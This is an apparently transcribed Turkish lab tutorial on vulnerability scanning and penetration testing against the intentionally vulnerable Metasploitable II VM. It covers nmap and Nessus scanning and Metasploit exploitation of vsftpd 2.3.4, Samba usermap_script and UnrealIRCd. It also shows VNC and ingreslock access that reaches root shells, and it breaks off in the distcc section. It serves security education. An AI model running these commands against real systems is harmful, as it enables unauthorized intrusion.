zafiyet tarama ve sizma denemeleri

31
10.11.2013 Mustafa Kemal Uzunsakaloğlu | uskom USKOM ZAFİYET TARAMA VE SIZMA DENEMELERİ

Upload: uskomm

Post on 26-Nov-2015

134 views

Category:

Documents


2 download

TRANSCRIPT

  • 10.11.2013

    Mustafa Kemal Uzunsakalolu | uskom

    USKOM ZAFYET TARAMA VE SIZMA DENEMELER

  • 1

    NDEKLER

    1. GR __________________________________________________________ 3

    1.1 TEST ORTAMININ OLUTURULMASI ________________________________________________ 3

    1.1.1 Kali Linux____________________________________________________________ 3

    1.1.2 VMware Workstation _________________________________________________ 3

    1.1.2.1 VMware nedir _? _______________________________________________________ 3

    1.1.3 Metasploitable II______________________________________________________ 3

    1.2 KURULUM _________________________________________________________________ 3

    2. KEF __________________________________________________________ 4

    2.1.1 Nessus ______________________________________________________________ 4

    2.1.2 Nmap ______________________________________________________________ 5

    2.1.3 Hedef Ip Tespiti _______________________________________________________ 5

    2.1.4 Hedef Aklarnn renilmesi __________________________________________ 10

    2.1.4.1 Nmap ile Ak Portlarn renilmesi ________________________________________ 10

    2.1.4.2 Nessus ile Zafiyet Taramas _______________________________________________ 12

    3. ZAFYET AIKLARINI KULLANARAK SIZMA DENEMELER ________________ 16

    3.1 EXPLOT _________________________________________________________________ 16

    3.2 METASPLOT FRAMEWORK _____________________________________________________ 17

    3.2.1 Metasploit _________________________________________________________ 17

    3.2.2 Metasploit Framework Konsol ve Komut Satr Aralar _______________________ 18

    3.2.2.1 Msfconsole ___________________________________________________________ 18

    3.2.2.2 Msfpaylaod ___________________________________________________________ 18

    3.2.2.3 Msfencode ___________________________________________________________ 18

    3.2.2.4 Msfcli _______________________________________________________________ 18

    3.2.2.5 Msfrpcd ______________________________________________________________ 19

    3.3 SIZMA DENEMELER __________________________________________________________ 19

    3.3.1 Deneme1 # vsftpd ____________________________________________________ 19

    3.3.2 Deneme2 # Samba ___________________________________________________ 22

    3.3.3 Deneme3 # Unreal IRC ________________________________________________ 25

    3.3.4 Deneme4 # Vncviever _________________________________________________ 26

    3.3.5 Deneme5 # Ingreslock ________________________________________________ 27

    3.3.6 Deneme6 # distcc ____________________________________________________ 28

  • 2

    EKLLER TABLOSU

    ekil 1: Metasploitable II nin altrlmas .............................................................. 4

    ekil 2: Ip blou tespiti ............................................................................................ 9

    ekil 3 Ip, Ak port Tespiti ve OS un belirlenmesi .................................................. 9

    ekil 4 : TCP SYN Scan .........................................................................................10

    ekil 5 : Nessus programnn altrlmas ..............................................................12

    ekil 6 : Nessus Kullanc Giri Ekran ...................................................................13

    ekil 7 : Kullanc admz ve ifremizi girdikten sonra Nessus arayz ..................13

    ekil 8 : Tarama iin ilkenin belirlenmesi ...............................................................14

    ekil 9 : Nessus Yeni Tarama Ayarlar ....................................................................14

    ekil 11 :Nessus Tarama Sonucu zeti ...................................................................15

    ekil 10 :Zafiyet detaylar .......................................................................................15

    ekil 12: vsftp ann aratlmas ...........................................................................19

    ekil 13: lgili modl hakknda bilgi edinilmesi ......................................................20

    ekil 14: lgili modulde Gereken deerlerin girilmesi .............................................20

    ekil 15: Modldeki payloadlarn gsterilmesi ........................................................21

    ekil 16 : Payload un seilmesi ve payload seeneklerinin listelenmesi ...................21

    ekil 17 : Ak sayesinde sisteme szlmas .............................................................22

    ekil 18: Samba ann tespit edilmesi .................................................................23

    ekil 19 : Samba ana ait modllerin listelenmesi ...............................................23

    ekil 20 : Samba ayla sisteme szlmas .............................................................24

    ekil 21 : Unreal irc ann tespit edilmesi ...........................................................25

    ekil 22: UnrealIRCD .............................................................................................25

    ekil 23: UnrealIRCD a ile sisteme szlmas ....................................................26

    ekil 24 : Nessus VNC ...........................................................................................26

    ekil 25: vncviewer ile sisteme szlmas.................................................................27

    ekil 26 : Ingreslock nmap ......................................................................................27

    ekil 27 : Ingreslock ayla sisteme szlmtr .....................................................28

    ekil 28: Distcc ann tespiti ...............................................................................28

    ekil 29: Distcc exploit ilemleri ve sisteme szlmas .............................................29

    ekil 30 : Distcc modul seimi ve modul detay .....................................................29

  • 3

    1. GR

    1.1 Test Ortamnn Oluturulmas

    1.1.1 Kali Linux

    Kali; Linux tabanl, CD'den balatma seenekli BackTrack yapmclar tarafndan

    2013 ylnda oluturulmu olan bir gvenlik kontrol iletim sistemi. erisindeki

    aralar sayesinde birok alanda (a, Windows, Arduino) gvenlik testi yapmak ve

    yazlm gelitirmek mmkn. Masast ortam olarak BackTrack'teki gibi KDE

    seenei yok; yalnzca GNOME masast ortam kullanlabilir durumdadr. Ayrca

    64-bit (amd64), 32-bit (i386), ARM ve Armel alt yap destei de vardr. [1]

    1.1.2 VMware Workstation

    1.1.2.1 VMware nedir _?

    VMware sanal makina yazlm reten VmWare Inc. firmasna aittir. Vmware ile

    oluturulan sanal iletim sistemleri, asl iletim sisteminden bamsz alyor olsa

    dahi, ayn sistem kaynaklarn tketir. Ve ana makinann iletim sistemi, yine bu ana

    makina ierisinde kurulu olan Sanal Makinann iletim sisteminden farkl olabilir.

    rnek verecek olursak; ana makina windows 7 iletim sistemine sahip iken, sanal

    makina linux iletim sistemine sahip olabilir. [2]

    1.1.3 Metasploitable II

    Metasploitable, hedef sistemlere szma srasnda yaplan saldrlar iin bir deneme,

    renme ortam olarak Metasploit tarafndan oluturulmutur. Sistem bir ok

    zafiyet barndran Vmwarede oluturulmu Linux bir sanal makinadr. Virtualboxa

    da kurulabilir.Metasploitable 2 linkinden direk olarak ya da Torrent ile indirilebilir.

    1.2 Kurulum

    Vmware ile Open Virtual Machine diyerek indirilen .vmx uzantl dosya

    gsterilir. Network adaptern NAT veya Host-only olarak ayarlanmas gvenlik iin

    nemlidir. Sisteme kullanc ad ve ifre olarak msfadmin yazlarak giri yaplabilir.

  • 4

    2. KEF

    Keif iin Nessus ve Nmap Kullanlmtr.

    2.1.1 Nessus

    Nessus, Linux camiasnda ska kullanlan, kapsaml bir gvenlik a tarama

    yazlmdr. Kiisel ve hertr kurumsal olmayan kullanm iin cretsizdir. Genel

    amac, bilgisayar sistemlerinde ve bilgisayar alarnda potansiyel gvenlik aklarn

    tespit etmektir.

    Nessus bir port tarama yazlmndan ok daha stn zelliklere sahiptir. Nmap

    benzeri yazlmlar yalnzca kardaki sunucu ya da makine hakknda iletim sistemi,

    ekil 1: Metasploitable II nin altrlmas

  • 5

    ak port bilgileri verebiliyorken Nessus, servislerdeki aklar eklentilerinin

    gncelliine bal olarak test edebilir. alma prensibi istemci/sunucu biimini

    kullanr ve test edilecek sistemde nessus sunucu yazlmnn ak olmas daha

    derinlemesine test ve analiz imkn sunar. [3]

    2.1.2 Nmap

    Nmap, sistem yneticilerinin geni alarn taramasnda ve hangi

    istemci/sunucusunda hangi servislerin altn saptamasnda kullanabilecei bir

    ara olarak tasarland.

    Nmap geni bir tarama yelpazesini destekler ; UDP, TCP Connect, TCP SYN (Yar

    Ak), FTP Proxy Bounce Ata, TCP FIN, TCP Xmass Tree, ICMP (Ping Sweep),

    ACK Sweep, SYN Sweep ve Null Scan bunlara birka rnektir. Nmap ayrca

    gelimi zelliklere sahip bir aratr, TCP/IP parmak izleri ile hedefin iletim

    sistemini saptayabilir, Stealth (Gizli) tarama yapabilir, taramalarnda dinamik

    zamanlamalar kullanlabilir, paralel taramalar yapabilir, ping atarak aktif hostlar

    bulabilir, RPC taramas yapabilir, esnek port ve hedef zelliklerine sahiptir.

    Unutulmamas gereken en nemli nokta hedef sistemde ak olan portlarn nmapin

    standart olarak nitelendirilen ve /etc/services dosyasndan ald port numaras ve

    sunucu servis karlatrlmalar tablosu araclyla tespit edilmi olmasdr.

    rnek olarak standart kullanmda 21/TCP ftp protokol iin kullanlan bir port

    olmas dolaysyla bu portu ak bulan nmap servisin ftp olduunu bildirecektir,

    ancak o portu dinleyen servis farkl bir servis (rnegin vnc sunucusu) olabilir. [4]

    2.1.3 Hedef Ip Tespiti

    ncelikle Nmap da tarama trlerinden bahsedelim :

    Tarama Trleri

    -sT TCP Connect Scan : En basit anlamda alan tarama tekniidir, hedef porta

    balanmak iin SYN paket gnderir,karlnda SYN/ACK paketi gelirse ACK

    paketi gndererek porta balanr ve portun ak olduunu rapor eder, eer SYN

  • 6

    paketine RST cevab gelirse portun kapal olduunu rapor eder. Bu tarama trnde

    extra paket zelliklerine sahip olmak gerekmedii iin root olmayan kullanclarda

    kullanabilir. En kt zellii alan tm oturumlarn hedef sistem, Firewall yada IDS

    tarafndan loglanyor olmasdr.

    -sS TCP SYN Scan : Yar ak olarakta tannan SYN tarama oturumu tamamen

    amaz, SYN paketinin karlnda SYN/ACK paketi geldiinde portun ak

    olduunu rapor eder ve RST paketi gndererek oturumu kapatr, port kapal ise hedef

    zaten direk RST cevab gnderir. Bu yntemi uygulayabilmek iin root olmak

    gerekmektedir. IDS ve Firewalllara yakalanma ihtimali ve loglanma ihtimali azdr.

    -sF, -sX, -sN : Bu tarama yntemleri ise srayla gizli FIN , Xmass Tree ve Null

    Scandir. IDS ve Firewalllarn SYN taramalar loglayabileceini dnerek

    kullanlan yntemlerdir. FIN, Xmass Tree ve Null scan paketlerinin gnderilmesi

    durumunda hedefin RFC 793te akland gibi kapal olan tm portlar iin RST

    cevab gndermesi mantna dayanr. Bu yntem IPeye ve NmapNT ile windows

    platformunda da uygulanabilmektedir. Ayrca bu tarama yntemleri ak port

    buluyorsa (FIN taramada Windows sistemlerindeki tm portlar ak olarak

    grnmektedir, nk Windows tabanl sistemler bir oturuma ait olmayan FIN

    paketleri ile karlayorsa tmn gz ard ederler ve gz ard edilen paketler

    standart olarak portun ak olduu anlamna gelir.) hedefin sistemi Windows tabanl

    deildir. Eer SYN scan ak port buluyor ve bu tarama yntemleri bulamyor ise

    hedef Windows tabanl bir sisteme sahip demektir. Nmapin letim sistemi saptama

    zelliklerine bu durum dahildir. Windowsla ayn tepkiyi veren baz sistemler ise

    Cisco, BSDI, HP/UX, MVS ve IRIX tir.

    -sP Ping Sweep : Taranlan ada hangi hostlarn aktif olduuna ihtiya olduunda

    kullanlan genel yntem ICMP Echo paketleri gnderip cevap beklemektir, son

    zamanlarda bu ping isteklerinin Firewalllar tarafndan bloke edildii

    dnldnde alternatif zmler gelitirilmelidir. Bu durumda nmap TCP ACK

    paketi gnderiyor (standart olarak 80.porttan - deitirilebilir), eer porttan RST

    cevab geliyorsa sistemin aktif olduu rapor ediliyor. Dier alternatif teknikte bir

    SYN paket gnderip hedeften SYN/ACK yada RST cevab beklemektir, her iki

  • 7

    cevapta sistemin aktif oldugunu gsterir. Root olmayan kulanclar iin ise standart

    TCP Connect yntemi kullanlr. Standart olarak ICMP ve ACK teknikleri paralel

    olarak uygulanr. Eer bunun deitirilmesi istenirse -P* parametreleri kullanlarak

    bu yntemler deitirilebilir. Ayrca bu pingleme ilemi tamamlandnda sadece

    aktif sistemler taranr, bu seenek ping taramas kullanmadan port taramaya gemek

    isteniyorsa kullanlabilir.

    -sU UDP Scan : Bu teknik hedef bilgisayarn UDP portlarndan hangilerinin ak

    olduunu saptamak iin kullanlr.(RFC 768) Hedef makinede ak olduu dnlen

    porta 0 bytelik bir UDP paket gndermek ve "ICMP Port Unreachable" paketini

    beklemek temeline dayanr. Paket gelirse port kapal gelmezse ak olduuna karar

    verilir. Baz insanlar UDP taramay nemsemezler. nemsemelerini gerektiren

    sebepler arasnda Tftp, NFS, Snmp gibi protokollerin UDP zerinden almas ve

    Solarisin RPCBind a saylabilir.

    -sA ACK Scan : ACK tarama yntemi Firewall`larn ACL`lerini bypass ederek

    tarama yaplmasn salar. Baz Firewall`lar stateful yada basit paket filtreleme

    Firewall`lar olabilir, dardan gelen SYN paketlerini bloke edebilir ancak ACK

    flagl paketin geiine izin veriyor olabilir. Rastgele retilmi ack/sequence

    numaralaryla yaplr. Cevap gelmezse yada ICMP port unreachable mesaj geliyorsa

    port filtrelenen bir porttur. Nmap genellikle portlar iin unfiltered nitelemesi yapmaz.

    Bu taramada bulunan portlar asla akca `open` olarak nitelendirmez.

    -sW Window Scan : Bu gelimis tarama tr ACK tarama trne ok benzer,

    portlarn ak olup olmadn taramas dnda bu portlar filtered/unfiltered olarak

    nitelendirir ve ereve boyutundaki farkllklardan hedefin iletim sistemini saptar.

    Aralarnda AIX, Amiga, BeOS, BSDI, Cray, Tru64 UNIX, DG/UX, OpenVMS,

    Digital UNIX, FreeBSD, HP-UX, OS/2, IRIX, MacOS, NetBSD, OpenBSD,

    OpenStep, QNX, Rhapsody, SunOS 4.X, Ultrix, VAX ve VxWorks gibi iletim

    sistemlerininde bulunduu iletim sistemlerinin baz versiyonlar bu durumdan

    etkilenir. Tam listeye ulaabilmek iin Nmap-Hackers posta listesinin arivlerine

    baklabilir.

  • 8

    -sR RPC Scan : RPC taramalar iin dier tarama trleriyle beraber kullanlr. Btn

    TCP/UDP portlar tarayarak ak bulduu portlarda SunRPC`nin "NULL"

    komutlarn kullanarak rpc portlarn saptamaya alr, eer rpc portu bulursa alan

    program ve srmlerini saptamaya alr. Bylece Firewall yada dier paket

    filtreleme cihazlar hakknda baz ie yarar bilgiler saptamaya alr. Decoy zellii

    u an iin RPC taramalarda kullanlamyor ancak baz UDP RPC taramalarnda bu

    zellik nmap`e eklenmitir.

    -b (ftp relay host) : Ftp protokolunun ilgin bir zellii proxy iin destek vermesidir

    (RFC 959). Bunun iin ncelikle hedefin ftp sunucusuna balanmak gereklidir, daha

    sonra internette herhangi bir yerden o sunucuya bir dosya gnderilebilir. RFC nin

    yazld 1985 ylndan gnmze kadar ftp bu zellie sahip olabilir. Bylece bir ftp

    sunucu zerinden TCP port tarama yapabilme imkanda kazanlm olur. Bu seenek

    ile bu denemeler uygulanabilir. [5]

    imdi Hedef pc iin ip belirlemesi yapabiliriz.

    VMNet 0: VMware Workstation zerinde alan sanal makinelerimizin kendi ip

    sini kullanarak fiziksel makinemizin a kartndan internete kmas salanm olur.

    Yani fiziksel bilgisayarmzn a kart kpr vazifesi grm olur.

    VMNet 1: VMware Workstation zerinde alan sanal makinelerimizin a

    balantsnn sadece fiziksel makine ile snrl olmasn salamak istendiinde

    kullanlr. Bylece kendi bilgisayarmzn bal olduu network e erimeden

    bilgisayarmz zerinde yerel bir sanal a ortam oluturmu oluruz.

    VMNet 8: VMware Workstation zerinde alan sanal makinelerimizin a

    balantsnn fiziksel makinemizin a ayarlarn kullanarak tek bir ip zerinden

    internete kmas salanmak istendiinde kullanlr. Bylece sanal makineler

    internete karken fiziksel bilgisayarmzn ip sini kullanrlar. Yani NAT yapm

    oluruz.

    Biz host-only default seenei olan vmnet1 ile sanal makinamz kurmutuk.

  • 9

    Ip blogumuzu renmi olduk artk daha detayl tarama yapabiliriz. Ip adres tespiti,

    ak portlar ve iletim sistemi hakknda bilgi sahibi olabiliriz. Vereceimiz komut

    nmap -sS -O 192.168.98.0/24

    ekil 2: Ip blou tespiti

    ekil 3 Ip, Ak port Tespiti ve OS un belirlenmesi

  • 10

    2.1.4 Hedef Aklarnn renilmesi

    Nessus ve Nmap da detayl taramalar yaplp sistem aklar hakknda bilgi

    renilebilir.

    2.1.4.1 Nmap ile Ak Portlarn renilmesi

    Version Detection taramas

    Version Detection, btn portlarn bilgilerini bulabilecek herhangi bir tarama tr ile

    beraber alr. Eer herhangi bir tarama tr belirtilmezse yetkili kullanclar ( root,

    admin ) iin TCP SYN, yetkisiz kullanclar iin TCP Connect Scan altrlr.

    Eer ak port bulunursa, Version Detection Scan hedef makina zerinde aratrma

    srecini balatr. Hedef makinann uygulamalaryla direkt olarak iletiime geerek

    elde edebilecei kadar bilgiyi almaya alr.

    Balangta varsaylan olarak TCP SYN Scan yapld ve cevaplarnn dndn

    kabul edersek, 80.Port zerinde alan HTTP hakknda bilgi toplayacak olan

    Version Detection Scan gerekletirecei tarama ilemleri aadaki gibidir :

    ekil 4 : TCP SYN Scan

  • 11

    Bu Taramay gerekletirmek iin aadaki komut kullanlmaldr :

    nmap -sV -v [Hedef_IP]

    Aadaki komut ise hedef ip deki tm portlar tarar ve sonucu belirlenen text

    dosyasna kaydeder.

    #nmap -n -sV -oN /uskom.txt --open -p 0-65535 192.169.98.128

    root@uskomhost:~# nmap -n -sV -oN /uskom.txt --open -p 0-65535 192.168.98.128

    Starting Nmap 6.40 ( http://nmap.org ) at 2013-11-10 04:13 EET

    Nmap scan report for 192.168.98.128

    Host is up (0.00027s latency).

    Not shown: 65506 closed ports

    PORT STATE SERVICE VERSION

    21/tcp open ftp vsftpd 2.3.4

    22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

    23/tcp open telnet Linux telnetd

    25/tcp open smtp Postfix smtpd

    53/tcp open domain ISC BIND 9.4.2

    80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

    111/tcp open rpcbind 2 (RPC #100000)

    139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

    445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

    512/tcp open exec netkit-rsh rexecd

    513/tcp open login?

    514/tcp open shell?

    1099/tcp open rmiregistry GNU Classpath grmiregistry

    1524/tcp open shell Metasploitable root shell

    2049/tcp open nfs 2-4 (RPC #100003)

    2121/tcp open ftp ProFTPD 1.3.1

    3306/tcp open mysql MySQL 5.0.51a-3ubuntu5

    3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))

    5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7

    5900/tcp open vnc VNC (protocol 3.3)

    6000/tcp open X11 (access denied)

    6667/tcp open irc Unreal ircd

  • 12

    6697/tcp open irc Unreal ircd

    8009/tcp open ajp13 Apache Jserv (Protocol v1.3)

    8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

    8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)

    41559/tcp open unknown

    51125/tcp open mountd 1-3 (RPC #100005)

    54506/tcp open status 1 (RPC #100024)

    59966/tcp open nlockmgr 1-4 (RPC #100021)

    1 service unrecognized despite returning data. If you know the service/version,

    please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-

    submit.cgi :

    SF-Port514-TCP:V=6.40%I=7%D=11/10%Time=527EEBE5%P=i686-pc-linux-

    gnu%r(NULL

    SF:,33,"\x01getnameinfo:\x20Temporary\x20failure\x20in\x20name\x20resoluti

    SF:on\n");

    MAC Address: 00:0C:29:05:0F:B1 (VMware)

    Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN;

    OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

    Nmap done: 1 IP address (1 host up) scanned in 163.42 seconds

    Tarama sonularndan da grld zere port numaras, portun ak olup olmad,

    portun kullanld servis ad ve versiyon bilgisi elde edilmitir.

    2.1.4.2 Nessus ile Zafiyet Taramas

    Nessus kurulumu yapldktan ve kayt ilemi yapldktan sonra program aadaki

    komutla altrlr.

    ekil 5 : Nessus programnn altrlmas

  • 13

    Program arayzne Browser satrna uskomhost:8834 yazarak ulaabildik.

    Varsaylan portu 8834 dr.

    ekil 6 : Nessus Kullanc Giri Ekran

    ekil 7 : Kullanc admz ve ifremizi girdikten sonra Nessus arayz

  • 14

    3 basamaktan oluan ilke tanmlanr. 2.basamakta internal 3.basamakta SSH seip

    devam ettik.

    Policy sekmesinde ayarladmz ilke seildikten sonra Targets blmne hedef ip

    yada ip aral girilip Launch buttonuyla taramamz balatyoruz.

    ekil 8 : Tarama iin ilkenin belirlenmesi

    ekil 9 : Nessus Yeni Tarama Ayarlar

  • 15

    Bulunan zafiyetlerin stne tklanarak zafiyet hakknda detayl bilgiye ulalabilir.

    ekil 10 :Nessus Tarama Sonucu zeti

    ekil 11 :Zafiyet detaylar

  • 16

    3. ZAFYET AIKLARINI KULLANARAK SIZMA DENEMELER

    3.1 Exploit

    Bir gvenlik ann kullanlabilmesi iin teknik aklama gereklidir, ancak birok

    gvenlik duyurusu sadece gvenlik a hakknda zet bilgi barndrmakta ve yama

    sunmaktadr. Gvenlik aklarnn kullanm ve sonular hakkndaki bilgiler

    genellikle a bulan kii tarafndan veya ters mhendislik yntemi ile kefedilir.

    An kullanmn ifade eden yntem ve aralara exploit ismi verilmektedir.

    Exploitler gvenlik an bulan, duyuran veya ters mhendislik yntemi ile detay

    verilmeyen an kullanm yntemlerini kefeden kiilerce hazrlanmaktadr. Ama

    gvenlik annn tad riski pratik olarak gstermek ve alan sistemlerin

    gvenlik an barndrdnn dorulanmasdr.

    Exploitler genellikle zensiz ve uygulamann sadece belirli bir srm iin

    hazrlanmaktadr, nk yazarlar sadece pratikte an nasl kullanldn ifade

    etmek iin exploitleri hazrlamaktadr. Bu sebepten exploiti kullanrken hedef sistem

    iin geerli olduu, standart d bir kurulum varsa deiikliin exploitte tanml

    olduu ve bir saldr tespit sistemi tarafndan sonularn engellenmedii kontrol

    edilmelidir. Aksi durumda exploit ilevsiz olacak, gvenlik an kontrol

    edemeyecek farkl sonular retecektir.

    Exploitler kaynak kodlar ak biimde hazrlanm programcklardan veya kullanm

    yntemlerinden olumaktadr. Kapal kodla veya altrlabilir bir programla

    datlan exploit ise ancak ters mhendislik yntemleri ile zmlenebilir, an

    kullanm iin yeniden geerli ve kararl bir exploit yazlmasn gerektirebilir.

    Exploit'lerin kaynak kodunun ak olmasnn sebebi an testi yaplrken exploit

    yazar tarafndan art niyetli bir kodun sisteme bulamasn nlemektir. Kaynak kodu

    ak olan exploitler analiz edilerek, an kullanm hakknda bilgi sahibi olunabilir

    ve farkl hedeflere gre zelletirilebilir. Gvenlik denetim yazlmlar exploitleri

    analiz ederek genel gvenlik denetimleri oluturmakta ve gvenlik aklarn

    otomatize olarak denetlemektedir.

  • 17

    3.2 Metasploit Framework

    Metasploit Framework gvenlik aklarn bulmak ve bu aklar dorultusunda ne

    gibi sonularn orataya kabileceini gstermek iin kullanlan ak kaynak kodlu

    gvenlik programdr. Ayn zamanda bnyesinde anti-forensic ve atlatma teknikleri

    uygulamalarn da barndrr.

    Metasploit 2003 ylnda HD Moore tarafndan Perl dili ile bir network oyunu olarak

    programland. Daha sonra Ruby dili ile batan itibaren tekrar yazld. Gvenlik

    dnyasna sunulmasnn ardndan en ok gze arpan zellik, herkes tarafndan

    bilinen gvenlik aklar iin zel exploitler bulundurmas olmutur. Bununla

    beraber, gvenlik aratrmaclar iin yeni gvenlik aklarn bulmakta gl bir

    yazlm olarak kullanlmaktadr. 21 Ekim 2009 tarihinde Metasploit projesinin

    Rapid7 bnyesine katld bildirildi. [6]

    3.2.1 Metasploit

    Metasploit, eitli pentestler gerekletirmek iin ierisinde exploitler, payloadlar,

    auxiliaryler ve encoderlerin bulunduu framework altyapsdr. Metasploit; Linux,

    Windows Mac-OS ortamlarnda alabilmektedir.

    Metasploit ile sadece direkt saldr yaplmaz. eitli backdoorlu dosyalar yapp bunlar

    ile de hedef sisteme saldr gerekletirebilirsiniz. Bunun iin iletim sisteminize iis

    yada apache gibi servisler kurmanz gerekebilir.

    Hedef sistemde otomatik olarak ak taramak iin localhostunuzda database

    ynetmeye ihtiyacnz olacak bu yzden mysql gibi servislerden de yararlanmanz

    gerekebilir.

    Burada ad geen baz kavramlarn tanmlamasn yapacak olursak:

    Exploit: Hedef sistemde alan servis yada uygulamalarn zayflklarn kullanarak

    amalara ulamak iin kullanlan gvenlik aklardr.

    Payload: Exploit sonrasnda hedef sisteme szmay salayan ve istenilen ilemleri

    gerekletirmek iin kullanlan bileenlerdir. rnek ile aklayacak olursak bir

    servisin an kullanmak exploitin, o aktan faydalanarak sistemde kullanc

    oluturmak ise payload'un grevidir.

    Sklkla kullanlan nemli payloadlar; Meterpreter, dll injection, passivex ...

    Auxiliary: Exploit ncesi hedef sistemde bilgi toplama amal kullanlabilecek

    bileenlerdir.

  • 18

    Encoders: Exploit iinde kullanlan kodlarn (ki o kodlara shellcode denilir)

    almasn bozmadan antivirsler, firewaller, IPS, IDS tarafndan tannmamasn

    salamak iin kullanlan bileenlerdir.

    Nop: eitli sistemlerde hafzadaki veri ve dn hakknda bilgi edinmek iin

    kullanlabilir. leri seviye ilemlerde kullanlmaktadrlar. [7]

    3.2.2 Metasploit Framework Konsol ve Komut Satr Aralar

    Metasploit Framework ok sayda bileen ve arayzden olumaktadr; konsol temelli

    etkileimli arayze ek olarak, seri komut arayz, RPC balants ile harici yazlm

    arayz, dorudan kabuk kodu oluturma veya dntrme aralar yer almaktadr.

    3.2.2.1 Msfconsole

    Metasploit Framework ile alma esnasnda kullanlabilecek en kararl etkileimli

    arayzdr, grafik arayzler gibi ok sayda hata barndrmad iin sistem ele

    geirme ileminin yarda kalmas veya istenmeyen durumlara neden olmaz.

    Konsolda verilecek komutlar ve seenek ayarlamalar ile tm zelliklere eksiksiz

    eriim sunmaktadr.

    3.2.2.2 Msfpaylaod

    Kabuk kodu, VNC, zel uygulama veya Meterpreter kullanlarak Payload

    oluturmay salamaktadr. altrma esnasnda verilecek parametrelerle, Payload

    seeneklerini listeler, seenekler verildii durumda ise istenen biimde Payload'u

    retir.

    3.2.2.3 Msfencode

    Kabuk kodunda kullanlmamas gereken karakterlerin almas veya gvenlik

    teknolojileri atlatlmas amacyla, bir Payload'un kodlanmas ve dntrlmesini

    salamaktadr.

    altrma esnasnda verilecek parametrelerle, kodlama seeneklerini listeler,

    seenekler verildii durumda ise istenen biimde Payload'u dntrr.

    3.2.2.4 Msfcli

    Konsol arayznn aksine alma esnasnda ald parametrelerle almakta, modl

    seeneklerinin byk blmne eriim salamaktadr. Daha ok Listener veya

    Handler kullanmlar, harici bir yazlm tarafndan Metasploit Framework'n

    arlmas veya dorudan tek bir modln kullanm iin verimlidir.

  • 19

    3.2.2.5 Msfrpcd

    Metasploit Framework'n konsol ve seri arayz dnda kalan, harici yazlmlarn

    entegrasyonu iin kullanlan bir servis bileenidir. Harici grafik arayz

    uygulamalarnn Metasploit Framework'e eriebilmesi, exploit ilemleri veya

    yardmc aralarn kullanlabilmesi iin servis sunar. Armitage veya MsfGui gibi

    arayzlerin balantsnda sorun yaanmas durumunda SSL destei kapatlarak

    uyumluluk salanabilir. [8]

    3.3 Szma Denemeleri

    3.3.1 Deneme1 # vsftpd

    Sonularda ilk sradaki ftp sunucusuna bakldnda vsftpd 2.3.4 gzkyor. Bununla

    bir google aramas yaplrsa , bu sunucu kullanlarak sistemde bir backdoor

    alabilecei grlebilir.

    Metasploit Framework msfconsole ile balatlr. Ekranda msf> gzktnde artk

    kullanma hazrdr. nce vsftpd aratlr ve listelenir.

    ekil 12: vsftp ann aratlmas

  • 20

    Tek sonu kt. Bulunan exploiti kullanmak iin ;

    msf > use exploit/unix/ftp/vsftpd_234_backdoor

    Girilmesi gereken deerler iin (ekil13 de basic options ile gsterilen ) Required

    kolonunda yes yazar. Srayla hedef sistem hakknda istenen bilgiler set NAME deer

    olarak yazlr. Burada sadece RHOST deeri girilir.

    ekil 13: lgili modl hakknda bilgi edinilmesi

    ekil 14: lgili modulde Gereken deerlerin girilmesi

  • 21

    Bu exploitle kullanlabilecek payloadlar listelenir.

    msf exploit(vsftpd_234_backdoor) > show payloads

    Payload un seilmesi

    msf exploit(vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact

    PAYLOAD => cmd/unix/interact

    msf exploit(vsftpd_234_backdoor) > show options

    Payloadun istedii veriler iin yine show options komutu kullanlr ve gerekli

    deerler girilir.

    ekil 15: Modldeki payloadlarn gsterilmesi

    ekil 16 : Payload un seilmesi ve payload seeneklerinin listelenmesi

  • 22

    Artk herey hazr olduuna gre exploit denir.

    msf exploit(vsftpd_234_backdoor) > exploit

    Sisteme root haklaryla giri yaplmtr.

    3.3.2 Deneme2 # Samba

    msf > db_connect

    komutuyla PostgresSql veritabanna balanp

    msf > db_nmap -sS -A 192.168.98.128

    komutuyla nmap sonularn otamatik olarak yeni veritabanmza kaydedebiliriz.

    msf > services

    komutuyla nmap tarama sonularn grrz.

    ekil 17 : Ak sayesinde sisteme szlmas

  • 23

    msf>search samba komutuyla ak ile ilgili moduller listelenir

    ekil 18: Samba ann tespit edilmesi

    ekil 19 : Samba ana ait modllerin listelenmesi

  • 24

    msf > use exploit/multi/samba/usermap_script

    msf exploit(usermap_script) > show options

    msf exploit(usermap_script) > set RHOST 192.168.98.128

    RHOST => 192.168.98.128

    msf exploit(usermap_script) > exploit

    Sisteme root haklaryla giri yaplmtr .

    ekil 20 : Samba ayla sisteme szlmas

  • 25

    3.3.3 Deneme3 # Unreal IRC

    Unreal IRC , internet zerinden chat yapma program olan IRC nin baka bir

    versiyonu. nmap ktsndan bu servisin alt grlebilir. Bu uygulama zerinden

    sistemde backdoor alabilir.

    msf> search UnrealIRCD

    ekil 21 : Unreal irc ann tespit edilmesi

    ekil 22: UnrealIRCD

  • 26

    Sisteme root haklaryla giri yaplmtr .

    3.3.4 Deneme4 # Vncviever

    Nessus taramasnda VNC Server 'password' Password isminde kritik bir zafiyet

    kefetti. Aklamada nessusun parola olarak "password" ile vnc balants

    yapabildii belirtiliyor. Linux komut satrna

    root@uskomhost:~# vncviewer 192.168.98.128 password:password

    yazarak sisteme direk olarak login olunabilir.

    ekil 23: UnrealIRCD a ile sisteme szlmas

    ekil 24 :Nessus VNC

  • 27

    Sisteme root haklaryla giri yaplmtr .

    3.3.5 Deneme5 # Ingreslock

    ingreslock 1524 portunu kullanan DoS ataklar, rootkit ,backdoor yerletirmek iin

    kullanlan bir servistir. Bu servisin alt porta telnet ile ulalabilir.

    ekil 25:vncviewer ile sisteme szlmas

    ekil 26 :Ingreslock nmap

  • 28

    Sisteme root haklaryla giri yaplmtr

    3.3.6 Deneme6 # distcc

    Distcc ile a zerinde baka bir bilgisayara derlemesi iin kod gnderilip

